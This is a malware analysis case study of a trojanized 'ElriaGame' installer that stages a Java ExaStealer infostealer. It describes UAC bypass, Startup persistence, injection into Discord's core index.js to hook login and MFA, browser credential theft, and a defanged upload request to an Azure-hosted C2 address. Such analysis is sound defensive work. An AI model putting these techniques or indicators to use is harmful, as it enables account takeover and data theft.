“ElriaGame” — a trojanized Electron installer delivering a Java infostealer

0. Document handling & scope

This is a writeup of a real infostealer I ran into on a personal Windows machine. It is meant to be read as a case study, not an operations manual. Following normal safe-handling practice, it does not contain runnable malware, archive passwords, deobfuscated exfiltration payloads, or any material that would provide operational uplift to an attacker. Code excerpts are illustrative, minimized, and defanged; indicators of compromise are neutralized using standard hxxp / [.] notation.

1. Executive summary

“ElriaGame” looks like a game installer and behaves like one right up until it doesn't. It ships as a Nullsoft (NSIS) installer wrapped around a normal Electron/Chromium app bundle. The Electron part is real and harmless — it is there to make the thing look legitimate. The actual work is done by a Java payload (emre.jar) together with a private Java runtime. The payload is a credential-stealing trojan of the ExaStealer family, operated through a web control panel branded “Lucid.”

After it runs, the malware sets up persistence in the Startup folder, elevates through a UAC bypass, and starts collecting. It pulls credentials from the installed browsers and from the Discord desktop client, grabs a screenshot, and looks for cryptocurrency wallets. Everything gets zipped and uploaded to an attacker server on Microsoft Azure, and a WebSocket connection to the same box gives the operator live control.

The part worth singling out is the Discord handling: rather than just reading a token off disk, the payload rewrites a file inside Discord's own program folder so that attacker JavaScript runs as part of Discord itself, hooking the login, session, and MFA calls. That is why a password reset on its own does not fix the compromise.

Impact in the observed incident was significant: the stealer successfully exfiltrated a Discord authentication token and browser-stored credentials and cookies, confirmed by a server HTTP 200 response to the upload.

1.1 Key findings at a glance

area	finding
Delivery	NSIS installer → Electron bundle → password-protected 7-Zip stage → Java JAR + private JRE
Obfuscation	Randomized class/package names and a stack-trace-keyed string-decryption routine designed to defeat static string extraction
Persistence	A VBScript dropped into the user Startup folder, re-staged on every execution
Privilege	UAC bypass to run with elevated rights
Signature technique	Injection of attacker JavaScript into the Discord desktop client core to hook auth / MFA flows
Theft targets	Chromium-family and Firefox browsers (passwords, cookies, history), Discord tokens, system info, screenshot, crypto wallets
Exfiltration	Multipart HTTP upload plus a WebSocket C2, both on a single Azure-hosted endpoint
Attribution	ExaStealer payload managed by a “Lucid”-branded operator panel (React SPA) served from the C2

2. Analysis environment & methodology

All analysis was conducted inside an isolated virtual machine with snapshotting enabled and no route to a production network. Static analysis was prioritized: the sample was triaged, unpacked, and decompiled without execution wherever possible. Behavioral conclusions were drawn from the malware's own debug logs and a captured exfiltration request rather than from live detonation against attacker infrastructure.

2.1 Tooling

purpose	tooling
Triage / file typing	file, Detect It Easy, hashing utilities
Archive inspection	7-Zip (extraction of the staged container)
Java decompilation	JADX (GUI + CLI), manifest inspection
String / structure review	JADX search, manual review of decompiled classes
Behavioral evidence	Malware-generated launcher/stealer debug logs; captured HTTP request
Front-end review	Static reading of the operator panel's bundled React SPA

2.2 Methodology overview

• Static triage of the installer to identify packer, framework, and staged contents.
• Extraction and structural mapping of the Electron bundle and the password-protected stage-2 archive.
• Decompilation of the Java payload; identification of the obfuscation scheme and its anti-analysis properties.
• Behavioral reconstruction from debug logs: persistence, elevation, injection, collection, and exfiltration.
• Infrastructure characterization of the C2 (HTTP upload endpoint, WebSocket channel, operator panel).
• IOC extraction, ATT&CK mapping, and remediation synthesis.

3. Delivery & staging chain

The sample arrives as a game installer. Getting from that installer to the actual stealer takes several hops, and each hop is built to look unremarkable to whoever or whatever is watching.

3.1 Layer 1 — NSIS installer / Electron wrapper

The outer executable is a Nullsoft Scriptable Install System (NSIS) installer. During unpacking it loads the standard NSIS plugins (System.dll, nsis7z.dll) from a temporary directory and extracts an app-64.7z archive into a working folder. The extracted contents are an unmistakable Electron/Chromium application layout — Chromium resource paks, icudtl.dat, localized locales/*.pak, and an app.asar bundle. The installer window is titled “ElriaGame Setup.”

Watching only the install itself, you would see nothing wrong. No network traffic, nothing written to persistence, no injection. That is the point. The install stage is the first thing an analyst or an automated sandbox looks at, and on its own it behaves like an ordinary Electron app, so it tends to clear that first look.

3.2 Layer 2 — password-protected stage-2 container

Application logic within the Electron bundle drops and expands a second-stage archive (data.7z) into a per-user application-data directory using the bundled 7-Zip binary. The archive is protected with a hard-coded password embedded in the loader — a classic technique to keep the true payload opaque to signature scanners while still being fully automatic. The password itself is intentionally omitted from this report.

The container yields the stage-2 operational set: a Java archive (emre.jar), a private Java runtime (jre/), a helper binary, and marker/log files. Staging a private JRE means the malware does not depend on Java being installed on the victim host.

3.3 Staged file set (post-extraction)

artifact	role
emre.jar	Stage-2 Java infostealer payload (primary logic)
jre/	Private Java runtime used to execute the payload
data.7z	Password-protected container for the stage-2 set
data_helper.exe	Native helper (loader / support component)
.jar_ready	Marker file signaling extraction completion
ElriaGame.vbs	Persistence launcher (user Startup folder)
launcher_debug.log	Malware's own verbose activity log

4. Stage-2 payload analysis (emre.jar)

4.1 Obfuscation & anti-analysis

The payload is obfuscated with randomized, meaningless package and class names (for example com.<random>.C<random>). String literals — including URLs, headers, and property names — are not stored in cleartext. Instead they are produced at runtime by a decoder function that reads from an encrypted string table and reconstructs each character.

What makes the decoder awkward to deal with is where it gets its key. Part of the key comes from the call stack — a hash of the class and method that called the decoder. So the same encrypted bytes come out as different strings depending on who asked for them, and the encrypted table that feeds it sits in a static initializer that JADX would not decompile cleanly. Searching the decompiled source for a URL turns up nothing, because until the code actually runs in the right context, the URL is not a string anywhere in the file.

Pulling every embedded string out statically would mean re-implementing the decoder with the right calling context for each site, or hooking the decode function at runtime with something like Frida. I did not need to. The endpoints I cared about were already sitting in the malware's own debug log and in a captured upload request. Commodity stealers log themselves heavily, and that habit gave up the C2 without any deobfuscation work.

4.2 Execution flow

Putting the decompiled control flow together with the debug logs, the payload runs roughly in this order:

• Initialization — re-extract/verify the stage-2 set, write a readiness marker, and initialize a debug logger.
• Elevation — obtain elevated privileges via a User Account Control bypass.
• Persistence — write a VBScript launcher to the user Startup folder so the payload runs at each logon.
• Injection — locate the Discord desktop installation and overwrite a core module to load attacker JavaScript.
• Collection — harvest browser credential stores, Discord tokens, system info, a screenshot, and wallet artifacts.
• Exfiltration — package collected data into a ZIP and upload it to the C2; open a WebSocket for live control.

4.3 Persistence

Persistence is achieved by dropping a VBScript (ElriaGame.vbs) into the user's Startup folder. The script relaunches the payload at each logon, and the loader re-stages the payload set on each run — so deleting the payload directory without removing the Startup entry results in re-infection. This behavior triggered standard detection heuristics for suspicious Startup-folder script persistence.

4.4 Privilege escalation

Before collecting anything, the payload runs a UAC bypass to get elevated rights. That extra access is what lets it reach protected credential stores and system locations, and it lines up with the browser master-key decryption the logs show later.

4.5 Discord client injection (signature technique)

The interesting part of this sample is what it does to Discord. Discord is an Electron app, which means it runs local JavaScript at startup. The payload kills any running Discord processes, finds the install's core module folder, and overwrites the core index.js with attacker-supplied JavaScript. On the next launch, Discord loads and runs this injected code as part of its own trusted process.

That injected code hooks Discord's login, session, and MFA calls. It matters because it puts the malware a step ahead of a plain token grab. Sitting on the live session and the MFA material lets it get past protections that a password change would otherwise handle. So cleaning this up is not just a password reset — you have to kill the existing sessions and put a clean copy of the client back.

4.6 Data collection targets

category	detail
Browser credentials	Login data, cookies, and history from Chromium-family browsers (e.g. Edge, Brave, Opera) and Firefox; browser master keys decrypted to access protected stores.
Discord	Authentication token(s); plus the client-injection hook described above.
System information	Host / environment metadata used to fingerprint the victim.
Screenshot	A desktop screen capture at collection time.
Cryptocurrency	Enumeration/collection of wallet artifacts.

5. Command-and-control infrastructure

Everything the attacker uses runs on one box: 40.76.119[.]174 port 3001, sitting in Microsoft Azure. That single host handles two channels and also serves the operator's web panel.

5.1 HTTP exfiltration endpoint

Collected data is packaged as a ZIP and uploaded via an HTTP POST to /api/upload using a multipart/form-data body. The request carries an operator “panel key” field and the ZIP file, whose name embeds the victim's malware-assigned hardware ID. A successful upload returns HTTP 200 with a stored-file confirmation, verifying the endpoint is live and accepting victim data. The HTTP client identifies itself with an OkHttp user-agent, consistent with the Java payload.

Defanged structure of the observed upload, values redacted:

POST /api/upload HTTP/1.1
Host: 40.76.119[.]174:3001
User-Agent: okhttp/4.x
Content-Type: multipart/form-data; boundary=<redacted>

  part "key"  -> <operator panel key, redacted>
  part "file" -> filename="<epoch>-Data_<HWID>.zip"  (application/zip)

5.2 WebSocket command channel

A persistent WebSocket connection to ws://40.76.119[.]174:3001/ws provides real-time control. On connect, the client registers by sending its hardware ID and the panel key; the server acknowledges with an authentication-verified status and updates its roster of connected victims. An onMessage handler parses typed JSON commands from the server and dispatches them — establishing that infected hosts are remotely controllable, not merely passive data sources. The unencrypted ws:// scheme means this control traffic is observable on the wire.

5.3 Operator panel (attribution)

The same host serves a single-page web application used by operators to manage the campaign. Static review of its bundled React front-end reveals an authentication-gated dashboard that stores an operator session token client-side under a “lucid”-prefixed key and enforces role levels. Its route map is effectively a feature list:

route	function
/login, /dashboard	Operator authentication and overview
/clients	Roster of infected hosts, by hardware ID
/logs	Collected/stolen data
/builder	Generation of new payloads/installers
/console	Interface to issue commands over the WebSocket channel
/account, /admin	Operator and top-level administration

The “Lucid” branding of the panel, combined with the ExaStealer artifacts in the payload (naming and hardware-ID prefix), supports attribution to a commodity stealer-as-a-service operation in which a seller provides the builder/panel and customers operate individual campaigns identified by a panel key.

6. Indicators of compromise

6.1 Network

type	indicator	context
IPv4 (C2)	40.76.119[.]174	Azure-hosted C2
Port	3001	HTTP + WebSocket
URL (exfil)	hxxp://40.76.119[.]174:3001/api/upload	ZIP upload
URL (C2 ws)	ws://40.76.119[.]174:3001/ws	Live control
User-Agent	okhttp/4.x	Java payload client

6.2 Host

type	indicator
Installer name	ElriaGame (NSIS/Electron installer, ~135 MB)
Payload	emre.jar (staged Java infostealer)
Container	data.7z (password-protected, hard-coded password)
Helper	data_helper.exe
Persistence	%AppData%\...\Start Menu\Programs\Startup\ElriaGame.vbs
Staging dir	%LOCALAPPDATA%\<random>\ (emre.jar, jre\, data.7z, helper)
Markers/logs	.jar_ready, launcher_debug.log
Victim HWID prefix	EXA-<hex> (ExaStealer host identifier)
Panel key format	PANEL-XXXX-XXXX-XXXX (operator/campaign key)

6.3 Behavioral

• NSIS installer extracting an Electron bundle, followed by a Java process spawned from a private JRE in per-user AppData.
• 7-Zip extraction of a password-protected archive using an embedded password.
• Overwrite of the Discord desktop core module (index.js) and termination of Discord processes.
• Multipart HTTP POST of a ZIP named Data_<HWID>.zip to an external host on port 3001.
• Outbound ws:// connection to the same host/port carrying a hardware-ID + key registration.

7. MITRE ATT&CK mapping

The following mapping summarizes observed techniques. Technique IDs are provided for orientation; defenders should validate against their own telemetry.

tactic	technique	id	notes
Initial Access	User Execution: Malicious File	T1204.002	Trojanized game installer
Execution	Command & Scripting: Visual Basic	T1059.005	Startup VBScript
Persistence	Registry/Startup Folder	T1547.001	VBScript in Startup
Priv. Escalation	Abuse Elevation: Bypass UAC	T1548.002	UAC bypass
Defense Evasion	Obfuscated/Encrypted Files & Info	T1027	Stack-trace-keyed string crypto
Defense Evasion	Deobfuscate/Decode at Runtime	T1140	Runtime string decoder
Credential Access	Credentials from Web Browsers	T1555.003	Chromium/Firefox stores
Credential Access	Steal Web Session Cookie	T1539	Cookie theft; Discord token
Credential Access	Multi-Factor Interception	T1111	Discord MFA hook
Collection	Screen Capture	T1113	Desktop screenshot
Collection	Data from Local System	T1005	System info, wallets
Command & Control	Application Layer: Web Protocols	T1071.001	HTTP + WebSocket
Exfiltration	Exfiltration Over C2 Channel	T1041	ZIP upload to C2

8. Impact assessment

In the observed incident, exfiltration succeeded. Debug logging recorded extraction of a plaintext Discord token and decryption of browser master keys, and a captured upload request received a server 200 response confirming receipt of the collected archive. The realistic impact therefore includes:

• Account compromise — Discord account takeover via stolen token/session, resistant to password-only recovery because of the MFA/session hooking.
• Credential exposure — all browser-stored passwords and active session cookies across the affected browsers should be considered compromised.
• Financial exposure — any payment methods reachable via the compromised accounts, plus enumerated cryptocurrency wallets, are at risk.
• Persistence & recurrence — without full removal, the Startup launcher re-stages the payload; a fresh exfiltration was observed dated to the analysis window, indicating the host remained actively victimized.

9. Remediation & recommendations

Immediate (containment)

• Isolate the affected host from the network to halt ongoing exfiltration and C2.
• From a separate, known-clean device, invalidate all sessions and reset credentials — starting with primary email (the reset path for everything else), then chat/social, then financial accounts.
• Treat all browser-saved passwords and cookies as compromised; rotate them and regenerate any MFA backup codes.
• Review payment/financial accounts and any cryptocurrency wallets for unauthorized activity; move funds to a wallet with a freshly generated seed.

Eradication & recovery

• Rebuild the host from clean media. Because the malware overwrote a Discord core module and established Startup persistence, reinstalling a single application is insufficient; a full OS reinstall is the reliable path.
• Reinstall applications only from vendor-verified sources after rebuild.

Preventive

• Block the C2 indicators at DNS/firewall; add the network IOCs to detection tooling.
• Alert on Startup-folder script drops, Discord core-module modification, and outbound connections to uncommon high ports carrying multipart uploads.
• User-awareness: unsigned game installers from untrusted channels are a recurring delivery vector for this class of stealer.

10. Coordinated disclosure actions

Consistent with responsible practice, remediation of the attacker infrastructure was pursued through lawful reporting channels rather than any direct interaction with the attacker's systems:

• Hosting provider — an abuse report to Microsoft (Azure) identifying the IP as an active stealer C2, with the upload endpoint, WebSocket handshake, and a live response as evidence, requesting investigation and suspension.
• Platform — a report to Discord Trust & Safety describing the client-injection and token-theft mechanism.
• Threat intelligence — submission of the sample and IOCs to public malware repositories and intelligence feeds to improve detection coverage.
• Authorities — a report to the national CERT / cybercrime unit as a victim of credential theft.

No offensive action was taken against the attacker's server. Direct interference — flooding, probing, or exploiting the panel — would constitute unauthorized access in its own right, risk destroying evidence and harming other victims, and expose the reporter's identity. The lawful takedown path is both defensible and more effective, as it can remove the entire operation at the infrastructure level.

Appendix A — incident timeline (reconstructed)

phase	observed activity
Delivery	Victim runs “ElriaGame” installer; benign Electron install completes.
Staging	Loader drops/extracts data.7z to per-user AppData; stages emre.jar + private JRE.
Persistence	ElriaGame.vbs written to Startup folder.
Elevation	UAC bypass to elevated context.
Injection	Discord processes terminated; core index.js overwritten with attacker JS.
Collection	Browser stores, Discord token, system info, screenshot, wallets gathered.
Exfiltration	ZIP (Data_<HWID>.zip) POSTed to /api/upload — HTTP 200; ws:// C2 established.
Recurrence	Fresh exfiltration observed within analysis window — host still active.

Appendix B — analyst notes

For reference, the work in this case touched the following areas:

• Multi-stage unpacking: NSIS/Electron triage, archive extraction, and staged-payload identification.
• Java reverse engineering with JADX, including recognition and characterization of a stack-trace-keyed string-encryption scheme as an anti-analysis measure.
• Behavioral reconstruction from artifact logs and a captured network request without unsafe live detonation.
• C2 characterization across HTTP and WebSocket channels and static review of an operator panel for attribution.
• IOC extraction, MITRE ATT&CK mapping, impact assessment, and remediation planning.
• Lawful, coordinated disclosure to hosting provider, platform, threat-intel community, and authorities.

---

Prepared as an independent reverse-engineering case study. All indicators are defanged. No live payload is reproduced.